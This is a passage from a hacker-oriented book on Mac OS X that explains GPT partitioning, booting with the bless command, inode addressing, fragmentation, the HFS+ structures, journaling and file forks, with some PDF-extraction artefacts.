ation signing and other security measures implemented on the device itself.
While all this is relatively unsettling, there is always a benefit to the App store
model; centralized third party application patching and updates. Sure it’s
something that most people tend to overlook but it’s a brilliant strategy that
has most likely resolved a lot of vulnerabilities, by allowing developers to push
out patches and adjust their software. There are some drawbacks to all this,
Apple’s licensing terms has many applications staying far away. Open sourced
licensing doesn’t really play well currently, a great example of this would be
VLC pulling their iOS application from the iOS App Store. VLC does not offer
its OSX application through the App store so updates must be done via the old
method where the application data is stored on that developer’s website.
What Next?
We’ve covered quite a bit of ground in this chapter, the kernel, firmware, arch-
itecture, misconceptions, perceptions, security, capabilities, and so much more.
The focus moving forward is going to be on the file system, and all of the things
both defenders and attackers can do to maximize their efforts.
16 CHAPTER 2: History and Introduction to OSX
The Hacker’s Guide to OS X.
© 2013 Elsevier, Inc. All rights reserved.
The Filesystem
Introduction ...............17
What is a File
System? .....................17
The Difference Between
Memory Types ......................... 18
Partition Tables ................19
Identifying GUIDs .................... 21
Booting .............................22
Master Boot Records ............... 22
Blessed be Thy Volume ........... 23
Booting from the Network ...... 23
Working up to
HFS+ ..........................24
How a File System
Works ................................25
File System Addressing .......... 26
Disk Fragmentation .........27
The File System
Forefathers .......................28
File System Layouts ................ 30
Hierarchical File System
(circa 1985) ............................... 32
Microsoft File Systems ............ 32
HFS Plus ....................34
Journaled HFS .................. 35
MetaData ..........................36
Understanding Forks .......38
Data Forks ................................ 39
Resource Forks ........................ 40
Named Forks ............................ 40
As a hacker, you’re likely already aware that the success of any particular project
you’re working on at the time is heavily dependent on the depth of your knowl-
edge within that area. You’re not going to sit down at your computer and write
an exploit for the first time without having an understanding of Assembly and
shell code. The same is certainly true when we look at hacking the Mac OS X
operating system. You have to learn the details before you can start experiment-
ing on your own.
As far as hacking goes, this chapter might seem fairly lame. You can’t perform
a drive-by of a user’s home directory, nor will you be able to overflow the bashrc
file, resulting in root access. No, hacking within the file system is more about a
manipulation of the operating system, or the capability to access and hide infor-
mation. They’re important skills to understand if you intend to maintain your hold
on a target system, or if you just want to hack around within the operating system.
So in that vein, we’ll spend the next chapter going into painful depth about
how the Mac OS X file system works, and how it got to where it’s at now. We’ll
look under the hood and examine the minute details that, while small and
unimportant to most users of Apple products, could end up being your key to
success. File systems aren’t new, but they do have commonalities. This chapter
will cover many of those things. If you find something of particular interest in
this chapter, and want more details, we urge you to do some further research.
You could likely write an entire book on the topic of file systems alone.
Computers are pretty useless without the ability to store, manage, and process
information. For the most part, the information has always been stored and
pulled from files stored on some sort of media. It’s that media that has caused a
CHAPTER 3: The Filesystem
change in how file systems are created and operate. The life of storage media has
progressed from slow, low capacity to higher capacities that operate much faster.
File systems are used on a plethora of storage media, to organize and store
information. Without a coherent file system, you don’t have a way to orga-
nize, name, store, and retrieve the files on your computer. File systems provide
a logical means for that organization, and while the format usually differs,
you’ll find file systems on floppy drives, hard drives, USB thumb drives, opti-
cal media like CD ROM and DVDs, and the newer solid-state drive (SSD)
The Difference Between Memory Types
Before we get too into the basics of the file system, and how it stores informa-
tion, let’s take a minute to get a quick refresher. Imagine if you will that your
computer is like a desk at work, and you are the processor. We have three things
we’re interested in here. The first is the processor. In our example, you’ll be the
one taking information from the hard drive, performing some process on it in
volatile memory, and then storing it back on the hard drive.
The second item we’re interested in is the volatile memory, in the form of
Random Access Memory (RAM). This is memory the processor uses to load
applications and data into, so we can manipulate and read information. For
our analogy, this is the surface area of our desk. The larger the surface area of
our desk, the more applications and data the processor can lay out and work
with at one time.
The last item is the hard storage. This is where we provide permanent storage to
our operating system, applications, and data. This is where you, as the processor,
would take data FROM and place it on the desktop, so you can work with it. Let’s
say our hard drive storage is the desk drawers on the side of the desk. You have
folders in these drawers, just like you would on a file system. The processor pulls
information out of those drawers and places it into memory so it can process it.
Fiddling with the
File System ................41
Playing with
Attributes .........................41
Hidden Files .....................43
Conclusion .................46
FIGURE 3.1 Desk Analogy of Storage Space
What is a File System? 19
Partition Tables
To best understand how a file system is laid out, we need to understand how a
hard drive operates. How are all those bits stored in such a way that the operat-
ing system can interact with the drive and read or write information where it
needs to go? The most appropriate place to start is the partition table.
When Apple introduced the Macintosh II, way back in 1987, it also released
its first version of a disk partitioning map, called, appropriately enough, the
Apple Partitioning Map (APM). While the design for Apple’s map was actu-
ally quite robust, it had some issues that wouldn’t rear their ugly head for
almost two decades. The APM was limited to 32 bits worth of blocks within
the partition table, with each block having a standard block size of 512 bytes.
If we do the math, we find out that this limited the storage space on a hard
disk to 2 terabytes. That’s an amazing amount of storage for the late 1980s
and 1990s.
The GPT was created by Intel, as part of its EFI, and when Apple decided to
switch to Intel based processors, it had an important decisions to make. The
company could have expanded the functionality of the APM, or it could adopt
the Intel standard GPT instead. Modifying the existing APM to work with new,
larger hard disks would require such a significant re-write of the APM code that
it was just as easy to adopt the Intel standard GPT. GPT is an integral part of the
EFI, which we discussed in Chapter 2. So in many ways, the decision by Apple to
adopt Intel based standards was a completion migration, not a partial adoption.
The GPT still supports the use of 512 byte blocks, but Apple has stated specifi-
cally that developers should never assume a drive is broken into 512 byte blocks
and sectors. Many drive manufacturers are starting to move toward 4k sectors,
and technology like solid-state drives may operate differently because of their
inherent read/write speeds. If you’re going to be doing any development that
requires specific use of the drive in a system, it’s important you understand
how the drive will impact your application.
The GPT starts with logical block numbered 0 (LBA 0). This is the Protective
Master Boot Record. The Primary GPT Header begins at LBA 1 and runs through
to LBA 33, giving us 32 logical blocks assigned to the primary GPT header. The
entries listed in these initial LBAs are 128 bytes each, and are used to describe
the actual the partitions on the disk in question.
The negative numbers shown in Figure 3.2, near the bottom, represent the last
usable blocks on the hard disk. So LBA -33 represents the 33rd to the last block
on the drive. Thus the space between LBA 34 and LBA -34 represent the space
that can be used for partitions, thus storage of applications and data. The last
set of blocks, at the end of the disk, is reserved for the Secondary GPT Header,
and, like the Primary GPT Header, won’t be used to store user data.
CHAPTER 3: The Filesystem
FIGURE 3.2 The GPT Layout
If you’re interested in more of the details regarding the EFI and the GPT, We’d recommend you
read the following documents. Bear in mind that these two technologies are actual standards,
governed by the appropriate forums, so if you’re developing applications that need a full under-
standing of these technologies, you should continue to keep track of these documents as you
work, just to ensure you’re up-to-date.
In addition, there is ongoing research regarding the security of the EFI platform. A joint white
paper, written by Intel and IBM describes the concerns of a Trusted Computing Platform, and
how that applies to the EFI. You can read the white paper here:
What is a File System? 21
Identifying GUIDs
In relation to the GPT, GUID stands for Globally Unique Identifier, and
describes a long list of potential file system types that can be created on each
partition. In terms of industry support, most operating systems support this
partition format, although not all can actually boot from a GPT partition. In
some instances, such as most Windows operating system versions, boot parti-
tions are required to be staged in the Master Boot Record (MBR).
Speaking specifically about Mac OS X, the GUIDs shown in Table 3.1 define
Mac specific file system formats.
Table 3.1 Apple Related GUIDs for GPT
Hierarchical File System Plus
Apple UFS 55465300-0000-11AA-AA11-00306543ECAC
Zettabyte File System (ZFS) 6A898CC3-1DD2-11B2-99A6-080020736631
Apple RAID Partition 52414944-0000-11AA-AA11-00306543ECAC
Apple RAID Partition (Offline) 52414944-5F4F-11AA-AA11-00306543ECAC
Apple Boot Partition 426F6F74-0000-11AA-AA11-00306543ECAC
Apple Label 4C616265-6C00-11AA-AA11-00306543ECAC
Apple TV Recovery Partition 5265636F-7665-11AA-AA11-00306543ECAC
Apple Core Storage (Lion FileVault) 53746F72-6167-11AA-AA11-00306543ECAC
Many users and hackers prefer to have a dual boot Apple system, even though they can run
Windows inside VMware Fusion, or another virtualization application. There are any number of
reasons for this, including the need to play computer games that require the Windows platform,
which won’t run in a virtualized environment. Because of this, Apple created the Bootcamp
Assistant. Bootcamp will allow you to partition your hard drive, creating a windows partition,
and assist in loading the operating system into that partition.
But it’s important to note that if you’ve been using your system much at all, you likely won’t
be able to use the Bootcamp Assistant. Using a computer and its hard drive over time results in
file fragments across the drive that Bootcamp can’t clean up correctly on its own. If you know
you want a Windows partition on your Apple, try to get that working the day you unpack your
new computer, otherwise you can use the Time Machine to backup your computer, reload Mac
OS X, do a restore, and then use the Bootcamp Assistant.
But, as an added bonus, you should be aware that VMware actually recognizes the bootcamp
partition, and can boot up a virtual machine of your Windows installation while you’re still
logged into the Mac OS X. You just have to get that partition configured and loaded up, first.
CHAPTER 3: The Filesystem
It’s important to understand that GPT was not built specifically for Apple’s
Mac OS X, but works with most other operating systems, as well. Microsoft
Windows, Sun’s Solaris, a variety of flavors of Linux, and other systems work
equally well under this standard. But for the purposes of this book, we’ve
limited our discussion to how Apple implements the GPT.
Each operating system handles the GPT different, and depending on the archi-
tecture of the firmware, the computer may or may not be able to boot from
a GPT partition. If we’re dealing with a system with a legacy PC/BIOS chip,
instead of the newer EFI architecture, the host operating system might not be
able to boot from GPT. GPT boot ability under EFI is built into Apple products.
But in many cases, when users have created a hackintosh computer (non-Apple
hardware with the Mac OS X loaded on it), they’ve used a hardware platform
that has PC/BIOS. In those cases, the GPT boot support under PC/BIOS is
unofficially supported by the user base itself.
Apple has built-in several options for booting up your Mac OS X based com-
puter. This gives you flexibility in building from a variety of devices, and into
a variety of operating systems that may be loaded on the same media. Though
you may never use some of these options, it might come in handy to have the
information later, if you’re looking for a means of getting into at the data on
a particular system. The bless command is used to interface with the firmware,
telling it where the computer will boot from. Let’s look at some examples,
starting with the historical examples.
Master Boot Records
Historically, computers booted from hard disks by looking at the Master Boot
Record (MBR). And each hard drive was addressed by cylinder-head-sector
(CHS) addressing. The CHS schema was eventually replaced with logical block
addressing, which is still in use today, even in GPT.
In a GPT based system, all information about partitions are stored in the GPT header. In order to
avoid issues with legacy disk utilities overwriting the GPT, and destroying the information on
the drive, the very first LBA on a GPT, LBA 0, contains legacy MBR information. The GPT boot
header takes the next LBA, at LBA 1. In this manner, we provide a recognizable MBR for older
disk applications, and ensure the GPT won’t accidentally be overwritten. This is known as the
Protective MBR, for just these reasons.
What is a File System? 23
In systems where MBR partition tables are utilized, the actual information that
describes how the partitions are laid out on the drive is contained in the MBR.
The information here details how many partitions exists, what type of file
systems are loaded on those partitions, and whether the partition is bootable
or not.
Blessed be Thy Volume
As silly as it may sound, Apple has included some blessings in the operating
system to help users decide where to boot from within the file system. This
assumes, of course, that you’ve decided not to use the normal boot sequence.
Two commands, bless and unbless, have been included to help with this
task. Assuming you have the need to boot from a non-standard volume or
location, you can use the bless command to tell Mac OS X a particular volume
should be used for booting. The command would look something like this:
bless --device /dev/disk0s2 –setBoot
But don’t forget your handy command reference, in the form of the bless man
page for more options. Additionally, you can also unbless a volume, effectively
telling Mac OS X that a particular volume or folder should not be considered
appropriate or available for booting.
Booting from the Network
Bless is also used by Mac OS X to boot from the network. In a netboot con-
figuration, the Apple computer boots up and broadcasts a request across
the network wire, in an attempt to find an appropriate server to boot from.
When a suitable server is located, it responds to the request from your com-
puter, and a system load is pushed across the network to your computer.
Three files are initially sent to your computer via Trivial FTP (TFTP), in order
to provide a platform for the computer to boot from. These files are the
kernel, the booter, and the kernel extension cache. At this point, the nor-
mal startup scripts are run, bringing up the entire operating system, and
allowing access to the temporary file system that’s created during the boot
Many corporate network routers are configured to block broadcast traffic between subnets or
logical segments, thus inhibiting the use of Apple’s Boot Service Discovery Protocol (BSDP) to
perform the netboot process. There are other options that provide a work around to this prob-
lem, but we won’t go into those processes here, since that’s beyond the scope of this chapter.
But fear not, a quick search of the internet will provide an answer.
CHAPTER 3: The Filesystem
Booting from the network can be done directly from specific target IP addresses,
or you can send the request to the broadcast address, and hope something
answers. Here’s what those commands look like:
sudo bless --netboot --server bsdp://[optional boot image]
(boots from a specific IP address)
sudo bless --netboot --server bdsp://[optional boot
image] (boots from the network broadcast address)
In the examples, you can see that we’ve used bdsp similar to how we would use
a Web address.
We’re going to stop our discussion of bless here, since booting from the network
isn’t entirely relevant to our topic of file systems. But since the command is used to
tag certain parts of the file system as boot worthy, and allows us to boot remotely
from across a network, thus creating a temporary file system, we decided it was
important to at least touch on. This is definitely a topic for further research.
One of the cool things about computers is that they’re constantly evolving.
The hardware, software, and even the users are in a constant state of change.
Sometimes things evolve because we’ve learned from our mistakes. At other
times, engineers and developers just have a great idea and make the conscious
decision to get it implemented. But most of our evolution within the world of
technology simply comes from necessity. My computer is too slow. My connec-
tion is horrible. I can’t run that software. I need to do this “thing,” but I can’t
because there’s nothing available on the market that can do it.
File systems were no different, experiencing the majority of their evolution
up to this point based solely on new hardware, and requirements within the
As a safety tip, if you’re interested in attempting to boot from the network, but still want to be
able to fall back to your normal boot mechanism after one attempt, you can use the --nextonly
flag when using bless. This flag changes the boot selection for only the next boot attempt.
Whether it works or not, when the computer is rebooted again, it will boot normally. The com-
mand for using this option looks like this:
sudo bless --netboot --nextonly --server bdsp://
[optional boot image]
Working up to HFS+ 25
operating system itself. Before we delve too deep into the technical details, let’s
look at where we came from. Understanding how we got here, will help us
understand what the developers were thinking, and why things work the way
they do now.
How a File System Works
Imagine you have 10,000 collectible toy cars; the small ones that sell for about
a dollar at the local store. You’ve been collecting them since you were 6 years
old, and you love every single one of them. The problem is that you’re not
really all that organized. You keep all these cars stored in a couple of comic
book boxes, in no particular order. So what happens when you find someone
that wants to buy that replica 1956 Chevy you have stored somewhere? Well,
the truth is it’s going to take a really long time to find that car.
Let’s take this a step further. Imagine instead of toy cars, you’ve got files full
of important data. And to make matters worse, you have more than just
10,000 files; you have millions. You know the data is here somewhere, but you
don’t know where. And sadly, there’s a customer waiting to pay you for that
This is where a file system comes in handy. The example we gave earlier in the
chapter, about the desk drawers storing your files is pretty close. Imagine that
each drawer is a partition on your hard drive. And within each partition are a lot
of file folders that hold documents. In order to find a particular file, you need
to know which partition that file resides in, and which folder the file is stored.
The GPT allows you to create partitions to store your data. Within those parti-
tions you, or your applications, create folders with human readable names
that make it easy to put similar or related files together. Those folder names are
translated into addresses by the system, which we’ll go into more detail later
in this chapter.
Now that you have the appropriate containers for your files, you can start put-
ting your data into the folders, with each individual file having a unique name.
Each of those files, in turn, are assigned an address within the file system, to
make it easier for the operating system to locate the exact file you need, quickly
and safely.
In truth, the files and folders are all treated like a file, just with different func-
tions. And this is an important note for the hackers reading this. Even file fold-
ers are, in essence, nothing more than a file. If we can find a way manipulate
files, folders, and data in a way that fits within the definition of what that entity
is, we may be able to hide data, execute code when it shouldn’t be possible, or
other nefarious activities.
CHAPTER 3: The Filesystem
File System Addressing
Let’s get back to your toy car collection. In order to better organize your
collection, you’ll need to organize the cars into categories. For example, we
could break the cars out into the brand of manufacturer. MatchStick cars would
go into one box, Cool Wheels could go into another box, and other cars would
go into their respective box.
At this point, we could even go further and break the cars out into types. For
example, maybe we get a bunch of smaller boxes that will each hold a type of
car. Racecars would go in one box. Luxury cars would go into another. Nov-
elty cars, like ice cream trucks, might go into another small box. And all these
smaller boxes would be placed into the larger box. Just this one simple change
would make the process of locating that one particular car exponentially easier,
and more efficient.
GPT is broken into partitions, defined by the user of the computer. Each partition
consists of physical blocks of storage that can be used to put data into. Each of
these blocks is assigned an address by the file system. As files are written to the
drive, they’re stored to one of these blocks, and the address of that block is related
to the name of the file stored there. If the file is larger than a single block on the
drive, the data is spanned across multiple blocks until all data has been stored
(see Figure 3.3).
In older file systems, each of these blocks (little boxes) would hold 512 bytes
of data. When the file filled that box up, it would move on, into the next
FIGURE 3.3 Example File Blocks on a Drive
Working up to HFS+ 27
available block. The size of each block is based on the average size of a file on
the drive, in order to make the most efficient use of space on the drive. If we
put a 300 byte file into a 512 byte box, we lose that other 212 bytes. Do that
repeatedly and we’ve lost a lot of disk space. I’m sure it’s no surprise to you
that the size of hard drives has increased over the years, as has the size of the
files stored on the drives. If we left the standard block size at 512 bytes, we
would have literally hundreds of thousands more addresses to look through
to find the file we need, slowing the drive access speed of the system. Luck-
ily, since the size of files has increased, Apple (and other vendors) increased
the size of each standard block on the hard drive to 4 kilobytes (roughly
4000 bytes. This reduces the number of blocks on the drive, and increases
drive efficiency.
It’s not quite this simple, but each block in this table has an address within
the file system. This address is called an inode within Unix architecture (such
as that in Mac OS X). There is a connection between the physical blocks of
storage on a disk drive, and the kernel of the operating system that has to com-
municate back and forth with the drive. The operating system assigns the inode
address to each file or folder, which allows the kernel in the operating system
to interact with the physical block on the drive.
To simplify this concept, and help visualize it, let’s think of it this way. The
GPT is part of the EFI, which controls the physical components of a computer,
including how the disk drive is accessed and booted. The operating system
controls the inode address for each file in the file system, and relates the user
or application assigned name to that inode, so the file can be written to or read
from. The kernel within the operating system also relates all inode addresses
back to the physical blocks on the hard drive where each piece of data is stored.
It’s important to note that inodes do not contain actual filenames for each
entity. You can find the actual inode number of a file in a Unix system by using
the following command:
ls –i (filename)
Disk Fragmentation
Remember earlier when we discussed how files are put into blocks in the file
system? Well, when the operating performs these operations, the kernel looks
for space on the drive that is at least the same size as the file that needs to go
into it. But even after a file has been stored on the disk, the user can still edit it,
causing it to grow larger than the initial block(s) in which the file was placed.
In cases such as these, those extra parts of the file that don’t fit in our original
address space are put elsewhere. This causes fragmentation on the disk, as file
segments are contiguous to one another.
CHAPTER 3: The Filesystem
Another reason disks become fragmented is due to the normal process of
deleting files. When a file is deleted by a user, or an application, that space on
the disk is marked as available for use again. So we end up with a bunch of
holes in the layout of the disk, where data used to exist, but no longer does.
As you might imagine, all this disk fragmentation can cause a tremendous
decrease in the speed and efficiency of a disk.
But Apple has addressed the concerns regarding disk fragmentation. Since
drives are so much larger, space wise, than in the past, the file systems doesn’t
have to be so picky about filling every little hole in the disk with data. Addi-
tionally, HFS+ tries not to immediately reuse space that has been freed up by
deleted files. This is because Mac OS X 10.2 and later includes a delayed alloca-
tion under HFS+ that allows it to take many smaller disk allocation jobs and
fit them all into a larger space, together. This is a much more efficient use of
the empty space.
Finally, one of the key causes fragmentation was due to the appending of data
to already existing file. Apple itself states, “Fragmentation was often caused
by continually appending data to existing files, especially with resource forks.
With faster hard drives and better caching, as well as the new application pack-
aging format, many applications simply rewrite the entire file each time. Mac
OS X 10.3 Panther can also automatically defragment such slow-growing files.
This process is sometimes known as ‘Hot-File-Adaptive-Clustering.’”1
Because of these changes to how the file system operates, the key issues that
used to dog computer users have been addressed at a software level. These days,
trying to defragment and optimize your hard drive may actually not be worth
the effort, especially when you consider the very small gain in performance you
achieve from the process.
The File System Forefathers
There are historically two distinct threads of file system evolution that we con-
cern ourselves with for this chapter. While the vast majority of this chapter
will cover the Mac based file systems, we’ll also cover some basic information
on the “IBM Compatible” file systems so the reader has a solid foundation for
communicating between the two operating systems when conducting file oper-
ations. Some driver development in this area is already occurring, but there’s
still plenty of work left.
Working up to HFS+ 29
In the 1970s and into the early 1980s, many consumer grade computers used a
system dependent on the inexpensive cassette tape recorder that was available
at stores such as Radio Shack. These players, and the cassette tapes themselves,
were actually quite affordable for users, but they were also notoriously unreli-
able. For example, the popular Timex Sinclair computer (popular because of
it’s cheap $99 price tag) was an adaptation of a British computer and used this
popular method to store applications and data.
Since the user was responsible for buying the storage media separately, the
Timex Sinclair provided an owner’s manual that included the source code to
a multitude of example applications and games for the user. The user would
enter the application code manually, via the keyboard, and was able to save the
software to a cassette recorder. Unfortunately, it was easy to corrupt the data
on the tape, since it was a magnetic storage medium using sounds to store the
data. Users ended up having to re-enter all the code from the book, and re-save
the application, hope it would save correctly. We’ve included example images
of the Timex Sinclair, along with its manual in Figures 3.1 and 3.2.
This process was neither convenient, nor stable. And on top of everything else,
it was anything but fast and efficient. But it worked for the hardware of the time.
Fortunately for hobbyists and kids everywhere, this stage of the computer’s life
was short lived, and we were blessed with the Floppy Disk (see Figures 3.4
and 3.5).
The first floppy disks were 8 inches in diameter, and stored roughly 1 mega-
byte (MB) of data at their peak of evolution. Users of most applications were
used to having multiple disks available for loading the application, and stor-
ing their own data back to the computer. The 5¼ in. floppy disk was next in
line, followed by the most popular format; the 3½ in. disk. As an interest-
ing side note for comparison, floppy drives spin at 300–360 rpm, whereas
today’s hard drives can spin up to 15,000 rpm. And to add insult to injury,
many hackers are moving toward solid-state drives (SSD), that don’t have
any spinning parts at all. They’re significantly faster than anything we’ve used
in the past.
We call these computers “consumer grade,” but the truth is that the market was still fairly small
at this point. Computers weren’t as easy to upgrade as they are now, and the applications avail-
able for computers weren’t necessarily built to provide the best user experience. But this was
a critical time in the life of the computer, and the Internet; and a lot of the primary research in
this field transitioned from engineers at places like Bell labs to kids who were growing up with
this technology.
CHAPTER 3: The Filesystem
File System Layouts
Let’s start with the most basic example of a file system; the flat file. Flat files
work perfectly fine for systems with very few files, and ones that aren’t con-
cerned about speed or efficiency. For example, the simplest type of flat file
would be a numbered list. Each file within the file system is assigned an iden-
tifier, normally a number associated with each file in the list. There were no
subdirectories used in the flat file system (see Table 3.2).
But that’s really an overly simplistic example, and I’m not sure anyone really
uses (or used, for that matter) this type of system in a production environment.
Most flat file versions of file system tables are just that, a table. These look more
like your every day spreadsheet layout, with named columns and named rows.
The data is in the corresponding field where one column name meets one row
FIGURE 3.4 The Timex Sinclair 1000 w/No Permanent Storage
Working up to HFS+ 31
name. If you’ve ever used office software to create a spreadsheet, then you’ve
essentially done the same thing. This was the first real type of file systems used
with computers.
The original user computers used primary floppy storage to load and save
applications and files. The disks were slow spinning and, relatively speaking,
didn’t store much information. Since the access speeds were so slow, and the
storage was so small, the file systems didn’t need to be that robust.
FIGURE 3.5 Timex Sinclair 1000 Manual w/Program Code
Table 3.2 Simplistic Example of a Flat File
1xa000001 Filename1.txt
1xa000002 Filename2.txt
1xa000003 Filename3.txt
1xa000004 Filename4.txt
CHAPTER 3: The Filesystem
Hierarchical File System (circa 1985)
The precursor to the modern Apple file system is the Hierarchical File System,
released by Apple in 1985 to provide support for the larger capacity and faster
access speeds required in hard drive storage. The first Apple computers used
a slower file system that worked well with the floppy disks of the time, and
stored all information in a single flat file on the disk. But search and retrieval
times for this type of storage was simply too slow for use on hard disks. With
the introduction of HFS, file system information was stored in a B-tree format,
called a catalog.
The B-tree format is basically a tree based file system, where various pieces
of information about a file resource are stored in different parts of the tree.
Each of these pieces of information could be queried simultaneously, speeding
retrieval and access times tremendously. But the hard drives of the time were
still quite small, compared to the drives of today, so there were inherent design
flaws that would be mitigated with the introduction of HFS+.
It’s also important to note that HFS was a 16-bit file system. From an address-
ing perspective, this was fine in the early days of hard drives. But today, this
type of a file system has severe limitations that cause degradation in perfor-
mance and capability of the file system. The maximum file size and the file sys-
tem addressing scheme are two important facets that are negatively impacted
by the 16-bit limitation.
Microsoft File Systems
Microsoft really got started with their FAT (File Allocation Table) file system,
which has progressively grown in capacity and capability by moving from
FAT12 (12 bit version), to FAT16 (16 bit), and finally to FAT32 (32 bit). This
type of file system is supported on most operating systems around the world,
but is plagued with some irritating limitations. For instance, under the FAT file
system, each file is limited to a size of 4 GB per file. Additionally, filenames are
limited to 8 characters, with a 3 character extension (i.e. command.exe). This is
often referred to as the 8.3 format, and is recognized by most users of windows
operating systems.
With the release of Windows NT, Microsoft made a big change in how their
file system operated with the introduction of the NTFS (NT File System). Ironi-
cally enough, aside from addition of a permission based file system and other
things that were intended to strengthen the file system, Microsoft also intro-
duced a key feature to be more compatible with Apple products; Alternate Data
Streams (ADS). ADS includes multiple data streams that align with the HFS file
Working up to HFS+ 33
system under pre-Mac OS X operating systems. That’s ironic because it intro-
duced vulnerabilities into the Windows operating system.
For the most part, other operating systems can read and write to the Microsoft
based file systems. But the reverse can’t be said about modern Apple file sys-
tems. As an example, you can put a normal USB stick drive with a Microsoft
file system into a Macbook Pro and expect to access it normally. But the reverse
isn’t always true.
The exception is the use of the Bootcamp drivers from Apple (as of January
2012) that load into the Windows operating system. There is also an experi-
mental HFS+ driver module available for the Linux kernel, but it doesn’t allow
full read/write access to the journaled version of the Mac HFS+ file system.
They do allow for read only access to journalized versions of the HFS+, but
known problems with corruption in the past are ensuring the drivers continue
to remain experimental for the time being (see Table 3.3).
Table 3.3 Volume and File Size Limits in Mac OS Xa
Volume and File Limits in Mac OS X
Maximum number of volumes (all Mac OS
X versions)
No limit
Maximum number of files/folders in a folder
(all Mac OS X versions)
2.1 billion
Maximum volume size and file size (OS X
2 terabytes
Maximum volume size and file size (OS X
8 terabytes
Maximum volume size and file size (OS X
16 terabytes
Maximum volume size and file size (OS X
10.4 or later)
8 exabytes
It’s important to note that this book deals specifically with the Mac OS X operating system.
And while HFS+ has been a part of the Mac operating system since Mac OS 8.1, the important
points we’ll discuss pertain to Mac OS X.
CHAPTER 3: The Filesystem
HFS+ was introduced with the Mac OS 8.1 operating system, in 1998. But the
real power within the file system comes from the combination of EFI, GPT and
HFS+ together, and Apple has taken full advantage of that technology. Many of
the core components of the HFS+ file system are based on the B-tree structure,
a method of organizing and sorting data so it can be more easily searched;
which makes it perfect for use in large file systems.
Similar to the evolution of the Microsoft file systems, HFS+ was a jump from
a 16-bit file system to a 32-bit file system. Additionally, the file system was
now capable of having filenames of up to 255 characters, including characters
in Unicode. And with the release of Mac OS X 10.2.2, Apple added optional
journaling to the file system. Mac OS X 10.3 turned on journaling in the file
system as a default.
The HFS+ file system is comprised of 6 major components that are used to
track how blocks are assigned to the disk, the file system attributes, all meta-
data for the file system, and the transaction log for the journaling function.
These components are, in no particular order:
n The Volume Header.
n The Allocation File.
n The Catalog File.
n Extents Overflow File.
n Attributes File.
n The Journal File.
The Volume Header contains important information about the file system
itself. This includes the file system attributes that define the version of the file
system and the size of each allocation block used. In addition, the informa-
tion for locating all the metadata files in the file system is stored in the volume
The Allocation File in HFS+ contains information about the nearly 4.3 mil-
lion allocation blocks in the file system. This is where the file system tracks
The B-tree was invented in 1971, by two Boeing computer scientists, Ed McCreight and Rudolf
Bayer. And while the topic B-trees is sufficient to fill another entire book, we won’t go into detail
on it here. The concept is important for anyone wanting to delve deeper into file systems, and
has been a topic of research for countless computer scientists over the years, including Donald
HFS Plus 35
all the detailed information and usage statistics of each allocation block. You
can find information about which allocation blocks are used, and which ones
are free, with each block represented using a binary 1 or 0, based on whether
the block is in use. This file exists in a normal file, not in a reserved spaced on
the drive.
The Catalog File is one of the important B-trees in HFS+. In the simplest of def-
initions, it’s a catalog that contains records for each file in the file system. Bear
in mind that this also includes directories, which function as modified files.
Earlier we mentioned that filenames are allowed to contain 255 characters, and
that’s reflected in the catalog file by the 4 KB records size of each entry (versus
the 512 byte record in the original HFS). It’s important to note that each entry
in the catalog file is capable of holding up to 8 extents, per fork, in the file.
Once the 8 extent limit within the catalog file has been reached, the system
begins recording the additional extents in the Extents Overflow File. This file
records the allocation blocks on the disk that are assigned to each extent. In
addition, any bad blocks on the disk are also records here. As with the catalog
file, each record entry in the Extents Overflow file is also 4 KB.
The Attributes File is another B-tree that stores three different types of records:
Fork Data Attribute records, Inline Data Attribute records, and Extension Attri-
bute records. This is a new B-tree under HFS+ and doesn’t have a comparable
counterpart in the earlier HFS.
For our purposes, the Startup File isn’t really useful since it’s really only
intended for use in non-Mac OS systems that don’t support the file system
we’re discussing. But we mention it here for completeness.
You can find more details about these different files, and their formats, by
searching on the Internet. There are a large number of research specific files
available because these files are useful to law enforcement or other security
engineers who perform digital forensics on computer systems.
HFS+ also supports the use of either case sensitive and non-case sensitive file
systems. For example, in traditional UNIX based systems, there is a difference
between /bin/sh and /bin/SH. For many of the file in the file system, HFS+ will
allow you to work without regard to the case of the letters in the commands
and filenames. See Figure 3.6 for an example.
Journaled HFS
Journaling in a file system helps ensure stability and availability in the operat-
ing system. Should a power failure or another critical error occur that stops the
computer, the system is restored to a stable and consistent state. It also helps
the system perform disk repairs when rebooted from a system failure.
CHAPTER 3: The Filesystem
Journaling is performed by keeping a transaction log of all reads and writes
to the disk, as they occur. Should the system fail, the system consults the
log upon reboot and completes the failed transaction. While this will fix
most disk errors, it’s possible that some transactions will still be lost. But
the loss is minimal, and the system is still restored to a stable state. Apple
still recommends that users “remember to back up your data as frequently as
The original function of journaling for was high performance server systems
where there were large numbers of consistent read and writes to the disk, con-
taining a very large number of files. But soon, administrators and users realized
the value of the file system on non-server systems as well. With the release of Mac
OS X 10.3, journaling was turned on in the file system by default. While there
may be a very slight performance hit when using a journaled file system, it’s
normally considered so slight that the value of a stable file system is well worth
the cost.
The journal file itself is stored in the file system at the same place, all the time;
in a contiguous set of blocks on the disk. The file size for the journal is never
changed, nor is the file ever moved. The journal log functions similarly to some
types of audit logs. Transactions are written to the log, starting at the begin-
ning, and continuing until the log is filled up. When the log has been filled,
new transactions are written to the beginning of the file, replacing the oldest
transactions in the log. In this way, the journal log contents are volatile, and
only the most recent transactions are stored.
Mac OS X, just like many other popular operating systems, stores a lot of meta-
data on the files in the file system. We’ll talk more about where this data is
stored later, in the “Understand Forks” section of this chapter. The metadata
FIGURE 3.6 Examples of Case Insensitivity Within HFS+
HFS Plus 37
provides the system, and the user, with information about the file itself, the
contents, its format, its attributes, and more.
Each line in the metadata dump follows a set format. Keywords are followed by
an equal sign (=), and then subsequently followed by a single piece of data, or
an array of data values that correspond to the keyword. The easiest method for
viewing the metadata associated with a particular file is to use the mdls com-
mand from the CLI. We’ve provided an example in Figure 3.7. For our example,
FIGURE 3.7 Using mdls to List the Metadata
CHAPTER 3: The Filesystem
we’ve used the mdls command to list out the metadata associated with this
chapter, as it’s being written.
Understanding Forks
Files contain data, and that data is typically stored in a fork. For most hackers
with UNIX knowledge, the data fork is known as the primary fork containing the
data we use in a file. But this isn’t always the case. There can be, and are, in the
case of Mac OS X, other forks within each file that can contain useful or mali-
cious data. A fork is really nothing more than a byte stream associated with a par-
ticular file, and in some operating systems, a single file may have multiple forks.
Forks were originally created for inclusion in the Macintosh File System. The
goal was to create different forks to store different part of the information
required for each file. There are three common types of forks within the Mac
OS X operating system; the data fork, the resource fork, and any number of
named forks, as seen in Figure 3.8. The data fork, as mentioned earlier, is what
most users are familiar with, since it normally contains the data the user needs.
The resource fork is where Apple typically stores metadata, such as icon infor-
